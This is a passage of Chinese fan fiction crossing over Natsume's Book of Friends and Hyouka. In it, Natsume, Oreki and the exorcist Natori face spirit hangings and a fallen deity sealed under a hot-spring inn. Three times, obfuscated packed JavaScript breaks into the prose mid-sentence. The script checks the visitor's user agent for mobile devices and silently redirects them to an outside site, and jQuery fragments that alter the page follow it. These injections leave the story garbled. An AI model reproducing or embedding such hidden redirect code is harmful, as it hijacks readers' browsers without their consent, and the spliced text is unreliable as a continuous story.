再一眨眼，那黑影消失了。 看错了？ 夏目微撩双眉，仔细盯着也没什么奇怪的东西。 那应该是看错了。 这么想着，背后的折木突然吓出叫声，夏目连忙转头看去。 发现折木不小心压到自己的包，猫咪老师犹如弹射出去的白色年糕狠狠与折木的脸撞上。 猫咪老师舔了舔爪子：“呀咧，真是失礼的小鬼，压到我有着优美线条的身体可是大罪哦。” 折木捂着脸：“你是不是应该减肥了，猫咪老师。” “什么，我这完美的身姿还需要减肥，你是在小看我吗？” “我是小看了你的体重。” “什么？” 夏目一脸无奈，刚想劝架，他就感受到一道刺人的视线死死盯着他的后背。 不光是他，就连折木也感受到了。 23. 第 23 章 “夏目……有什么东西在看我们？” “嗯……不太有善意的样子。” 两人对视了一眼，点了点头，齐齐朝窗外望去。 只有被风吹落的几片花瓣。 沉默中，猫咪老师跳到窗户上，朝外左嗅嗅右探探。 “确实有什么气息经过这里，不过那东西溜得很快。” 听到它这么说，两人不约而同黑了脸，不为别的，就因为他们的房间在三楼，若真有什么东西肆意窥视他们，那绝非不是人类。 “话虽如此，为什么那个半神这次没过来？” 猫咪老师这才想起从折木身上缺了点什么，它一直将纸月的定位当做和自己同等的保镖，不管折木去哪里，都会保护他的安危。 “她的原话是不想和臭男人们呆在一起去泡温泉，而且在三笠山一战中消耗太多神力，她要在家里温养。” 折木面无表情地说出原因，实际上，纸月通过与折木的心灵感应就能知道这边的事，关键时刻还可以进行附身，根本不再怕的。 出于警慎考虑，两人再次检查窗户，看看外面有没有值得注意的地方，他们探查了好久，始终没见到类似妖怪的影子。 “看来也找不出什么，先到此为止吧。”折木说着，站起身撑了个懒腰。 他语气平平淡淡，似乎对一出门就遇到这种事见怪不怪了。 “也是，反正有猫咪老师坐镇……”夏目瞥了眼正念叨着“温泉、温泉”的肥猫，心里顿时觉得不靠谱起来。 两人拿起毛巾和浴巾，走了几分钟到了露天温泉，白天泡温泉的人不算多，除了零星几个熟客外，偌大的温泉里雾气蔓延。 不过这里最惹眼的还是上方那棵巨大樱花树，任由花瓣吹落到池中也不坏其景致，反而酿足十分的绝景。 大概可以用风花雪月飄寂之美来形容，像这样无为地望着这样的美景，就算是折木也不由地称赞几句。 “若是有月亮应该会更美吧。”他下意识说出心中所感。 身旁的夏目听到他的话也想象了下，那景象确实会比白天更美。 “等折木叔叔回来后，晚上我们再来泡一次吧。” 嗯，不错的提议。 折木点了点头。 两人一前一后下了温泉，温度很烫，折木还没泡足一分钟，就站起身靠在身后的人造岩石降温。 “真弱真弱，你这样连享受温泉的乐趣都感受不到吧。”猫咪老师脑袋中央垫着一块小毛巾，慢吞吞地在水中漂浮着。 “等等，你怎么会在这，被人发现宠物进温泉可是要被骂的。” “说了多少遍了，我不是宠物！” 正说着，头顶的樱花树响起窸窸窣窣的声音，落了不少花瓣在折木等人头上。 折木一抬头，视线正巧对上一张独眼面具，而那面具的主人正端坐在樱花树上看着他们。 天呐！有偷窥狂！ 他“唰”地缩回水里，又被烫得站起来，只能顺手将猫咪老师挡在身前。 “喂……可恶的小子，你干什么！”猫咪老师短小的四肢胡乱挥舞着，因为太过圆润的身体没有从折木手中挣脱开。 夏目也顺着折木的视线看到了，此人他认识，只是这都不是对方该出现的时间和地点。 “柊，你在这里做什么？”夏目一脸头疼道。 她在这里的话就意味着某人也到了现场。 想到那个自带滤镜特效的男人，夏目忍不住扶额。 “夏目吗……怪不得感受到熟悉的气息，我是主人派来调查附近的灵场。” 柊表情淡然，完全没意识到自己的存在对下面两位少年的处境有多尴尬：“目前灵力起伏最强烈的地方就在此地，所以就来了这里。” “那个……柊啊。” “什么事？” “你应该知道这里是什么地方吧？” “是，人类洗浴的场所。” 夏目见柊不当回事的态度，以及折木因为惊吓和紧张已经出现要晕堂的迹象，他觉得自己必须要做点什么。 “柊，要不你先回避下，对我们人类来说，现在的情形属实对心脏不好。”夏目劝道，“具体事情等我们出去再说明可以吗？” 柊也发现夏目身边的少年不对劲的地方，点头：“好。” 随后，她的身影消失。 折木见她离开，被水面不断上升的热气渗进身体所产生的疲劳感，让他身形一歪，差点连人带猫摔进水里。 好在夏目直接扶住他，才免于一场意外发生。 折木就这么被人扶着回到房间，他的额头上放着一小袋冰袋，夏目用扇子在他身边扇着，正在为他消热。 “抱歉折木，刚才那位是我认识的妖怪，她不是故意闯入那里的。” “……没事，我只是被吓到了。” 折木做了个深呼吸，十几分钟后余热从身体散开，他睁开眼睛，将额头上的冰袋拿了下来。 他注意到夏目表情是前所未有的严肃，估计是和刚才的妖怪有关。 “夏目，你和那妖怪约好就去吧，不用管我，我在这里休息就行。”折木体贴地开口，接下来不是他该参与的事，那么自觉退场才是正确的。 “你一个人能行吗？”夏目还是不放心的样子。 “别把我说得像是需要照顾的老爷子。”折木忿忿不平道，见对方不动，心里那份别扭心态又冒了出来。 “好了，快走吧，别让对方久等了。”他继续催促道。 “好吧好吧。”夏目笑着叹气一声。 最后将猫咪老师留了下来，自己一人去赴约。 纸门合上，房间里只剩下一人一猫。 折木撑起身体，走至桌前，倒了茶水解渴，猫咪老师就这么望着他，开口道：“小子，你不好奇吗？” “好奇什么？” “好奇夏目去做的事，或者是见的人？” 对此折木表现得极为冷淡：“那是夏目的隐私吧。” 他完全没有理由去打听，不如说，就算他和夏目混得再熟，也不可能这么做。 猫咪老师似乎看穿他心里的想法：“你应该很不擅长跟人打交道，遇到夏目这样的人，一定让你觉得很难解。” “你还兼职心理层面的导师？”折木有些吃惊。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266254|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “哼，本大爷的阅历本就不浅，你们人类的问题我一眼就能看出。”猫咪老师道。 那还真是厉害了。 折木无聊地想。 “不过小子你也没必要抱着这么大的隔阂去看待你们之间的关系，毕竟他和你是同类，在经历妖怪这方面要比你的时间更长更辛苦，能突然遇到像你这样能一起共语的人，他可是相当重视你。” 折木呆滞：“……啊。” “…的友谊。” 折木：“……” 麻烦说话能不能不要这么大喘气。 折木垂下脸，抬起头的时候又有一瞬间的犹豫，或许有所顾忌，但埋藏在心中的那句话还是想要说出口：“我其实——” 吱呀吱呀—— 吱呀吱呀—— 吱呀吱呀—— 从背后传来的奇怪声音打断他的发言。 连续不断，无法停止。 与此同时，那道视线又一次注视了过来。 强烈的寒意让折木如鲠在喉，他转过身，看到了那个东西。 …… 夏目一出门，就看到了等候多时的柊。 “我已经告诉名取你在这里，他在房间里等你。” “好的。” 柊看了看夏目身后的房间：“不用带上你的同伴吗，他身上拥有着很强大的气息。” “不用。”夏目下意识上前一步阻挡她的视线，冷静且坚决道，“不关他的事，没必要让无关人士参与。” 柊静静凝视着他，良久道：“不错的判断，这次事件确实卷入的人越少越好。” 夏目淡淡的双眉都快拧在一起：“是很棘手的事吗？” “嗯，具体名取会告诉你的，我们走吧。” 在柊的带路下，夏目来到了一间比他们房间更加宽敞的雅间，除了配套的桌椅床外，墙上还摆放着禅画和莳绘作品。 “好久不见，夏目，我们果然很有缘啊，总是在和妖怪的事件上相遇。” 有着栗色头发的英俊男人开着善意的玩笑，黑色的壁虎在他说话的瞬间爬到了他的右脸上。 “名取先生。” 夏目感叹：“如果不是抱着游玩的心态遇到妖怪就更好了。” “打扰你的兴致确实不是好时机，我甚至都不想你卷进事件中来，但以现下的形式恐怕是不卷入不行了……言归正传，这次可以说比以往还要棘手。”名取轻咳一声，说回了正事。 “这里有一只曾被除妖人封印的神明，当时它的状态很不好，差一点堕落成了恶鬼，现在他的身躯和四肢以正北为首，四角为辅连接着这里的灵脉，每年的夏末，附近里的灵场就会发生磁变，时刻干扰封印的效果。” “也是这个时候，许多灵和妖怪就会借机出来吸收因封印松动溢出来的灵力，这种情况就会演变成对人类作祟的后果。” 名取继续道：“我目前是负责探查灵场的先锋，如果情况不是很严重，我只要继续加固封印就可，一旦有什么变故……” 说到这里，名取顿了顿开口：“可能的场一族会完全接管这里，针对情况考虑是否要消灭那位神明。” 24.第 24 章 “的场……” 夏目听到略显沉默，如果是那个人出手…… “嘛，别那么紧张，我不是说了吗，事态还没严重到需要他出场，”名取安抚着他的情绪，顺带一提，“更何况有你在，只要赶在天黑前找到封印地点就没什么问题。” 说着，他看了看夏目身边空缺的位置，有些好奇：“你家保镖呢，它不在吗？” “它在我朋友身边。” “这样啊。”看夏目的表情，是不想身边的人卷进来吧，名取非常能理解，所以不会继续探究下去。 确定好之后的作战方向后，名取站起身，开始命令自己的式神：“那么，瓜姬和柊以外围进行灵场的探索，我和夏目就在旅馆内部寻找。” “是。”两位女性式神应后消失。 “不过封印地点真的会在旅馆里面吗？” 夏目提出自己的疑问，这旅馆看上去是近几年在这片土地上新建的，他以为封印地点应该会在深山老林之类的地方，这样才能最大的掩人耳目。 “没办法，毕竟封印神明是上百年的事，那时的状况和现在截然不同，这里的土地拥有文化财产的价值，经过多次的开垦和翻修，封印的位置肯定会有挪动和偏移，没有人得知它的具体位置，所以我们现在只能靠感受灵场的强弱来寻找答案。” 名取起身，一边解释着，一边把门打开。 一个白色炮弹以迅雷之势迎面与他的脸进行惨烈的碰撞。 “名取先生！” 随着夏目发出的惊呼，名取用手指拨正歪掉的眼镜，然后两指掐着猫咪老师的脸，露出冷笑：“我说啊，为什么每次都是你这个白猫馒头给我不必要的惊喜。” 猫咪老师见到他，也毫不客气：“啧，又是你这个没用的除妖人，一遇到你准没好事。” “你说什么？！” 这一人一猫动不动就会互相为敌，虽然这也算关系要好的证明。 眼看他俩要打起来，夏目简单粗暴地按住猫咪老师的身子将其制止住。 因为令他更担心的还有一件事：“老师，折木呢？！” 闻言，猫咪老师有些犹豫，不知道该怎么描述当时的场景，只能这么说：“跳……楼。” “哈，什么意思？” “就是字面上的意思，那个一直窥视你们的东西突然现身，我都没看清楚，那小子突然冲到窗户边跳了出去。” 猫咪老师似乎也不明白，只觉得折木当时像变了个人似的，然后就做出了超越理解范畴的举动。 原本想要追出去的，可自己怎么也跳不出去那个窗户，只能作罢先找夏目。 夏目逐渐冷静下来，整理了思绪，说不定是纸月发现什么危险，强行附身在折木身上离开了。 当然，他也只希望是这个可能。 不然的话…… 名取看夏目的脸色越来越难看，接过话说：“这样吧，先去你们房间看看有没有线索，我再让式神去找你朋友。” “好。”至此，夏目只能点头答应。 两人快速赶到房间，房门大开，正对着的窗口被风吹得猎猎作响，发出不和谐的刺耳声。 “笹后。”名取开口。 “在。” 他身边悄无声息地出现一个黑衣女子，她是个羊角卷发并遮住眼睛的女妖。 “你去看看外面还有没有其他人或者妖怪的踪迹。” “是。” 名取吩咐完毕后，将房间环视一圈后，径直走到窗台前。 “血……”名取注意到窗沿有红色的液体，他用手指沾了一点捻了捻，顿感不妙。 如果这是夏目那位朋友的血，那可能有点麻烦了。 他下意识看向夏目，而对方的目光仿佛被什么给吸引住了，他从进房间后，就一直停留在一处。 夏目似乎敏感地察觉出弥漫在这个房间的异常，外面的樱花灿烂刺眼，与屋内的沉暗形成鲜明的对比，仿佛有种身处表里两个世界的恍惚感。 “名取先生，请过来看一下。” “怎么了？”名取走到夏目身边，发现他一直盯着墙上的挂钟看。 “这钟的指针在倒着走。” “什么……” 完全无法预料的发展，正如夏目所说，这钟正在倒着走。 他又拿出手机查看时间，而手机上也发生了紊乱，连正常的页面都显示不出来。 不会吧，两人应该是猜到了什么，连忙从房间退开，快步走到大厅。 温泉的待客大厅此时悄无声息，一个生人的气息都没有。 “我来试试。” 夏目怀中的猫咪老师变成原型，试图破坏周围的建筑。 它用力朝着墙壁一撞，墙面凹陷进了一块，不到五秒，它竟自动复原成完整的一面墙，完全看不出被破坏的痕迹。 “哼，看来我们已经不在原来的地方了。”它朝着名取喊道，“喂，除妖人，你现在还有什么办法？” 名取把头放在额头上，略微踌躇了一下说：“嗯，故意把我们困在倒退的时间里……是什么迷惑人的结界吗，还是附近的妖怪在作祟，不管怎么说……这是直接把我们排除在外啊……” 夏目也尝试从旅馆的门走出去，但推开门的一瞬间，却只有一望无际的漆黑，连脚下的道路都消失了。 倏然，黑暗中传来“吱呀吱呀”这种让人毛骨悚然的声音，像是有什么东西在摇晃。 心跳开始有些加速，夏目的视野中突然出现一条缢索，在他反应未及前套出了他的脖子，眼瞅着就要将他拉进黑暗。 “夏目！” 名取和猫咪老师同时行动，一个抓住夏目的后领，将符纸贴在缢索上。 “镇汝之吾形，持禁者，持杖刀毒咒文，召灵而为吾所用，破——” 名取念完咒文，被符纸贴着的缢索随之而断，黑暗中顿时传来凄厉的惨叫声。 猫咪老师顺势关门，其余两人因惯性后退好几步。 “真是吓我一跳，门后面居然有这种东西。”名取深深地吸了口气后，不得不面对目前的严峻形式，“我原以为是被封印的神明故意搞得鬼，但现在这个情况恐怕还是灵在作祟。” “这算是被神隐吗？”夏目想起折木被妖怪神隐的经历，不由地开口。 “神隐？嗯，这个词很贴切。”名取从口袋里拿出了一叠形代，“不过只要知道是灵搞的鬼，那办法就多的是。” …… “阿嚏！” 折木身上只穿着浴衣，站在满是樱花的院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272490|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子里无所适从。 他是被纸月引导着跑到这里来的，只是因为看到那个东西，就让一直观望的纸月如临大敌，当即附身从窗台上一跃而下后，引导着对方追来，再一箭贯穿。 要不是纸月操纵自己的身体如飞鸟掠水般灵敏轻盈，否则折木心脏再怎么强大，也会吓晕过去。 “那是什么东西？”折木询问纸月。 当时他所看见的是一个套着缢索的黑影，看不见面貌和形态，就只是模糊一团的影子，明明什么都没有，但吊在那里却有着恐怖的压迫感。 “是某个熟人的分灵，不过看那样的状态，已堕落成恶鬼了。”脑海中的纸月回答道。 折木听到“熟人”一词有点惊讶，但纸月并没有露出什么怀念和愤懑的情绪，她只是继续平静说道，“奉太郎，接下来我尽量不会再附身于你，虽然你体内灵力庞大，但我每一次攻击，对你身体的损耗都是剧增的。” “我会教你对灵力的使用和操控，应付这些分灵应该没什么问题。” “等一下、等一下！”折木可不能无动于衷让她说下去，“我还是没搞懂现在是什么情况，为什么会从享受温泉旅行画风突变到大战恶鬼模式啊？” “还不明白吗，那就用眼睛好好看周围的灵力分布就懂了。” 折木被半嘲着驱动为数不多的动力去看四周，果然，灵力的流向乱七八糟不说，连周围都陆陆续续出现看不见形体的影子，它们潜伏在樱花林中，暗自朝着旅馆窥视着，当然，绝大部分视线都黏在了折木身上。 折木：“……” “这么说吧，这个旅馆下面正好封印着我的那位熟人，现在灵场杂乱不堪，这些窥视的分灵趁着这个机会，想要帮自己的本体解开封印，所以才会在这里蠢蠢欲动。” 折木黑着脸建议：“这种事通知夏目去见面的除妖人比较好吧。” 纸月微笑回应：“如果你现在进得去旅馆里面，你不妨试一试。” 听她这么说，那就铁定进不去了。 折木烦躁地揉了揉头发，最终妥协道：“我知道了。” 不管怎么说，先保住安全要紧。 在折木眼里操控这些常人看不到的自然之力就像是在变魔术，他的理解姑且还算不错，对于纸月的讲解在大脑里有条不稳地进行记录和分析，大致明白了操纵的手法，只是实践起来并不是那么顺手。 “就比如我们头顶上正在挣扎的妖怪，你先用我教你的动作试一下，让我看看在她被分灵吞噬前，你能成功几回。”纸月兴致满满道。 “不要用别人的性命当实践主体喂！” 折木一眼就认出被分灵缠上的是夏目认识的妖怪，他没有慌张，反而出奇地冷静下来，感受着周身流过的灵力，脑海里想象着去操控它的场景，努力了很久，勉强在手中聚集一条灵力。 做出持弓的动作，往后退一步，一边慢慢拉弓，一边将手往下降。 当他瞄准妖怪身后的分灵时，折木绿色的瞳仁收缩成一条细线，一圈光晕在他瞳孔逐渐扩大，变成更加鲜艳的绿色。 “射！” 随着纸月的一声令下，折木松开了扯着弓弦的右手。 手中没有特别的实感，但折木还是听到自松手后，射出满贯的破空声。 25.第 25 章 速度好快。 折木这样想着。 射出那一箭后，一种前所未有的畅快袭上心头。 分灵还未有所动作，就被那支无形的风矢所贯穿，那股力量所到之处皆被风撕碎。 被缠住的柊差一点就被波及，好在她及时挣脱出来。 折木也没想到这一箭威力会这么大，他被脑海里的纸月好一顿夸。 “夏目的朋友？” 柊得救后，捂着受伤的肩膀落到折木身前，一落地，就踉跄了几步，折木下意识扶住了她。 “感谢您救命之恩，但我现在还有更要紧的事情要做。”柊脸上露出焦急的神色。 “只要有樱花树的地方都会埋伏着这样的东西，它们在捕食妖怪积累灵力，必须找到名取，否则连住在这里的人类也会遭殃。” 折木沉思片刻，问道：“你现在能和你的除妖人能联系上吗？” 柊摇摇头。 旅馆仿佛陷入某种结界，无论怎么进入，都会回到原来的地方，而作为式神与除妖人唯有的联系方式也意外地断开了连接，没有人能观察到里面。 折木问纸月，如果自己用箭能否破掉横隔在眼前的障碍。 “很难啊，就算是我附身于你，我也不一定能在物理层面上彻底破坏。”纸月摇摇头，“而且我不敢保证旅馆的人会不会有什么危险。” 那就是没有办法了。 折木无言地看了看周围的灵力分流，灵力顺着这些樱花林涌入地下，仿佛穿过黑暗的太阳一样耀眼的光河。 “喂，纸月，你看见那些光的流向了吗？” “流向？”貌似没有听懂他的话，纸月露出匪夷所思的表情。 折木用手指捂住眼睛，即使看不见，那些闪烁的光就在眼睑里游动。 他思考了下，起身摆出拉弓的姿势，一旁的柊不明所以地看着他。 “你要做什么？” 纸月也十分诧异折木的行为。 “在做一些尝试。”折木对最靠近他的一棵樱花树，拉满弓，不出意外地射中那棵树。 果不其然，那棵树连接的灵力分流开始变弱，最后消失不见。 他又拉弓射了几棵，也是同样的结果。 当折木再瞄准一棵时，那些潜伏的黑影分灵坐不住了，纷纷现身朝他的方向包围了过来。 “旅馆的结界变弱了。”柊通过折木的举动察觉到他的目的，忍不住开口。 看来真的和这些樱树有关。 折木护在受伤的柊身后，而后他就听纸月说：“什么都不用管，你现在就朝着旅馆的方向射就行。” “好。” 折木没有松懈神经，合拢手心，注视靶子，快速举弓。 无名指和小指支撑着乙矢，通透的破裂声以一道撕裂空气的轨迹射向旅馆，两侧的风压将附近的樱花花瓣吹起，仿佛是下了一场樱花雨般。 里面的夏目正巧感受到了某种的动静，忍不住分出注意力朝旅馆大门一瞥。 此时他和名取被分灵包围着，这些东西怎么也杀不完，原本还自信的名取不得不露出苦不堪言的表情。 “抱歉啊夏目，刚开头就遇到这种程度的困境，身为除妖师，稍微有点飘吧，还真是不够格呢。”他自嘲一笑道。 “没有的事，不过名取先生，从刚才就听见外面很大的风声。” 夏目刚说完，尖锐而短促的声音在耳边响起，旅馆的大门猛地被吹开，周围的景色统统扭曲了起来。 只是一晃神的功夫，黑影分灵消失了，而他们身处的也不是旅馆大厅，而是夏目他们的房间里。 也就是说他们自始至终都没有离开过这里。 窗外还是一团樱色，但在远远的某处有鸟叫声传来，挂在墙上的时钟发出“咔嚓”一声，指针以顺时针的方向正常运转着，楼下也变得熙熙攘攘起来，一切都回归到原点，看来他们真的出来了。 “啊，那小子没事。”猫咪老师趴在窗台上往下望，看到折木立即招呼两人过去。 夏目连忙走过去，看到折木与柊在楼下交谈。 “折木！” 听到声音，折木的视线朝楼上看去，触及到夏目的目光，没什么表情的脸上有了点变化，安心或者松了口气，在他担心折木的同时，对方也在担心自己，这样能够互相担心、互相信任的感情，不管过去多久，都显得弥足珍贵。 等折木回到房间，就看到柊和一个没见过的男人报告情况，在双方眼神交汇时，那男人那样英俊的脸上浮现出华丽惹眼的笑容。 “很高兴认识你，我叫名取周一，谢谢你救了柊，不过也借此救了被困在旅馆的我们，能看到如此厉害的同僚，是我的荣幸。” 名取伸出手，笑道，“能告诉我你的名字吗？” 由于他的笑容太过亲和，折木怔了怔，轻咳一声，老实握手道：“折木奉太郎……不过我只是个典型的普通人，不是什么同僚。” “普通人吗……虽然没有亲眼所见，但听柊的描述，似乎不止如此呢。” 名取仔细端详着眼前这位少年，虽然从外表感觉不出什么，但内里却有着相当的力量呢，和夏目是同一类型的吗？ 如果的场那边知道的话……对这少年会很麻烦吧。 一旁的夏目透过名取的纠结，敏锐地察觉到对方的心思，他连忙挡在折木身前说：“名取先生，折木是我的朋友，初来乍到，不懂除妖师的规矩，不管如何还请您不要将他牵扯进去。” “夏目还真警慎呢，这个我当然不会这么做，只是要是被其他除妖师注意到，可难保他们不会动歪脑筋，”名取收敛起眼神里的变化，似笑非笑道。 折木注意到夏目握紧的拳头，透过名取的话，明白了早早与除妖师打过交道的夏目的为难之处，他在心里“唔”了一声，拍了拍夏目的肩膀。 “不用替我担心，我一般不会给自己找麻烦的，”折木不以为意地打着圆场，“就算真卷入除妖师的麻烦，那也不是你的问题，夏目你不用为此感到压力。” “一切顺其自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284469|166582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然就好。” 折木说完后，觉得自己也太平常心了，但仔细想想，自从来到这里就遭遇不少“意外”，再不平常心一点，他还能怎么办？ 名取听到折木的言论眼前一亮，不由地夸奖：“挺不错的心态。” 见折木如此坦言，夏目虽不愿，但也没办法，只好继续讨论接下来的情况。 几人将自己得知的情报互相交流一通，听到那些套着缢锁的东西是神明的分灵时，名取的脸色明显难看几分。 “那可不妙，如果那是分灵，就说明那已经不是神明了，得尽快找出封印地点。” 他召回其他式神询问情况，结果还是老样子，没有丝毫头绪。 而另一边，折木闭了闭眼睑，那些在空中散乱的灵力像是涌出无数细小的金色水珠，水珠像是有意识般聚集在一起，连成溪流，随着光流越聚越多，越聚越多……溪流汇集为潮水，很快将汇聚成一条通往外面。 折木下意识拉了拉夏目的衣袖，说道：“说不定我知道那个地方。” 分灵之前通过樱花树收集的灵力是运输给本体的话，那么现在所看到的灵力流有可能就是来源于本体处。 以防万一，他还询问了纸月。 纸月先是对他能看到“流向”这个问题表达震惊，但也很快肯定了他的假设。 “你真的知道？”夏目也惊疑不定。 折木点头的同时也迈开步子，走出了房间，他跟着灵力的涌动方向前进，直至他们走到了温泉。 汇聚的源头正是温泉里。 折木说完，另外两人脸上布满黑线，他们用来泡澡的温泉竟是神灵的封印地，要不要那么恶趣味！ “正好现在没什么人，夏目，就麻烦你辅助我了。”名取也不废话，开始布置封印仪式，三个式神负责盯梢。 夏目得到指示，也开始行动起来。 本来折木想帮忙的，但在夏目的坚持下，只能抱着猫咪老师当旁观的后勤人员，如果出现意外事故再出手。 折木沉默一会儿，还是小声问猫咪老师：“夏目以前经常做这种事吗？” “不多不少吧，”猫咪老师也不拐弯抹角，直言道，“不知道该说那家伙热心肠，还是出于某种执着非要多管闲事，我已经劝过他很多次了，可他就是那样我行我素，连我都受不了。” “对了，还有你小子……”猫咪老师又把话头指向了他。 折木一脸懵逼：“我？”关他什么事！ “我看再过不久，你就会被夏目完全同化。” “才没这回事，我只是对没必要的事没有干劲而已，这几次事件完全是受情势所迫。”折木反驳道，“说起来我还承担着受害者的角色呢。” “我才不信……嗯？” 猫咪老师没再接话，折木也察觉到远处的动静抬头看了过去。 温泉里原本平静的水正在翻涌沸腾，雾气开始晕染水面上方，似乎散布着某种缥缈的声潮，仿佛有无数的声音叠着声说话。 “来了。” 26.第 26 章 当雾上升特别高的高度时，有金色的未知物质伸出极细的纤维从雾里钻了出来，它速度朝外伸展延伸，渐渐塑形成了一颗巨树。 那棵树开满了樱花，但不是普通的粉樱，而是非常不详的血樱，树根处缠绕着一个穿着华丽和服的女人，她的头发连接着树本体，数条锁链将她桎梏在此地不得动弹。 在女人睁开眼睛的瞬间，名取早已备好加强封印的阵法。 他念出咒文的同时，朝寅位踏出左脚，右脚靠上踏出同样的位置：“勿闻勿见勿言，土之御祖，受吾召唤，为之以争而不可免非人之物，回归尘土！” 夏目所站的位置在名取身后，他手上拿着拿着两张形代，以此来掩护名取。 女人身上的锁链亮起光芒，封印的力量逐渐加固，她睁开眼睛，怨恨地看着名取等人：“可恶的人类……把吾封在这里，是为了继续羞辱吾么！吾不会让汝得逞的！” 话音刚落，从树上落下好几条缢索，黑色的分灵从套中脖子的位置逐一显现，它们随着女人的愤怒摇摆着身体，在树上发出“吱呀吱呀”的声音。 这画面何其恐怖，就连见惯大场面的名取都冷汗直流，他死死咬着牙，撑着精神对身后的夏目说道：“封印的过程不能中断，我现在腾不出手，只能麻烦你了，夏目。” “好。”夏目捏着形代应了一声。 这时，猫咪老师从折木膝上跳了下来，它化为原形道：“小子，你也准备好，这神明可不简单。” 说完，它跑到夏目身边进行支援。 折木也站了起来，想像之前拉弓对付分灵的方式为他们争取时间。 纸月却适时出现提醒他：“射分灵没有用，那些是她吞噬生灵后制造的残魂，能够对她造成真正伤害的，只有背后那棵樱树，那是她的本体，你得瞄准那里。” 折木照她所言做出手势，只是在射出去前，他问：“她既然是你熟人，你不做点其他事情吗？” 纸月被问得莫名其妙：“做什么？” 问题被反打回来，折木噎了一下：“呃……就是……相认什么的？” 纸月明白了他的意思，语气渐渐变得不屑：“熟人不代表就是友好的关系，那家伙是自作自受，同样是被驱逐出去，却沦落到吞噬生灵，堕落成恶鬼的地步，就算是我，高低也会给她一箭。” “你原来还有嫉恶如仇的一面啊。” “哈？！难道我在你眼里不是这样？” 听着纸月在脑中不断碎碎念，折木不再犹豫，朝着樱花树射出一箭。 在和斑缠斗的女人感受到危险，连忙用一个分灵去抵消那道攻击的力量。 “原来还有一个躲在暗处放冷箭的！”女人注意到折木的存在，立刻派更多分灵朝折木的方向跑去。 折木才不傻站着让她抓，在转移位置的同时，偶尔放几箭来分散注意力。 他这几下倒是把名取给看呆了，完全不使用媒介和咒文，仅凭着手势就能使用灵力，放在除妖师里面根本没几个做到，这个叫折木奉太郎的少年简直不得了，他究竟是什么人？ 夏目也注意到折木此时的状态不是纸月附身的结果，看来折木已经完全有了自保的能力。 眼看封印的仪式快要完成，女人干脆殊死一搏，爆发这几十年所攒下的怨气，打算在那一瞬直接冲破名取的阵法，恢复自由。 “遭了！” 名取感受到了强大的阻力，那些怨念如同黑雾般缠绕四肢，无形的重力压得他喘不过气来。 “名取先生！”夏目徒手将那些黑雾拍散，但它们随即又聚拢，渐渐蔓延到夏目身上。 折木见状，想瞄准缠在夏目身上的黑雾，可目标太小，害怕伤到对方，一时之间又选择瞄向女人背后的樱花树。 “没用的、没用的、没用的……”女人咧着夸张的笑容嘲讽道。 连射了几箭都被周围的怨气冲散，竟毫无办法。 纸月看不下去了，再次在折木身上附身，“他”睁开了眼睛。 冷眼旁观着远处处于疯癫的神明，不对，应该曾经是神灵的家伙，连厌恶的情感都不值得为她出现。 “不如直接杀掉算了。” 纸月饱含杀意地呢喃着。 夏目听到“他”的声音，不由地转头看折木，见到的是对方脸上森然的怒意，以及对待弱者毫不怜悯的残忍。 他的心里不知为何“咯噔”了一下，他知道眼前这人肯定不是折木，但他也不想在折木脸上看到这样的表情。 对面的女人注意到了“折木”的眼神，顿时挑起了她的愤怒：“区区人类也敢这样仰视吾，等吾破了这该死的封印，吾一定要吃了汝！” “我都不知道，原来的纳川之神——百惠之名竟然会说这种吃人的话。”纸月冷笑道，“想来那些除妖师做的还不够彻底，真是太心软了。” 女人大骇：“汝竟知吾真名，汝是何人？” “没必要告诉你这种浪费空气的家伙，不如就同这怨念一起消散吧。”纸月露出暴虐的笑容，无一物的的左右手在半空握起，神力凝聚成型，竟然化作能用肉眼看得见的弓，上面百花雕饰，一股香甜的花香在那刹那散开，连缠着夏目和名取的怨气都驱赶了出去。 “为何不颂吾之名，金屋御下，罔象难留。” 纸月念诵言灵，宛如歌唱般呢喃着。 女人在见到那张弓，脸色大变，她认出来了。 “你是，你是——”恐惧的情绪犹如藤蔓紧紧束缚住心脏，女人根本喊不出那个名字。 她只能凝聚更多的怨气去袭击纸月，如果攻击能变成言语，她大概会朝纸月如此呐喊。 【要消失的人是你！！！】 纸月松开了手，光矢连同身后的樱树一起下坠贯穿女人的胸膛，连脚下的温泉因为冲击都喷出十米高的水柱。 女人伤口处没有流血，仅仅只是抽搐着身体，一身随风鼓涨的白色和衣随着凋零的樱树一同消融在黑暗中。 随着水柱落下，众人都被洒下来的水淋湿了。 名取坐在地上，满脸震撼地望着对面的温泉，心里不知该说什么。 这算什么？ 结束了？ 只一击就消灭了堕落的神明 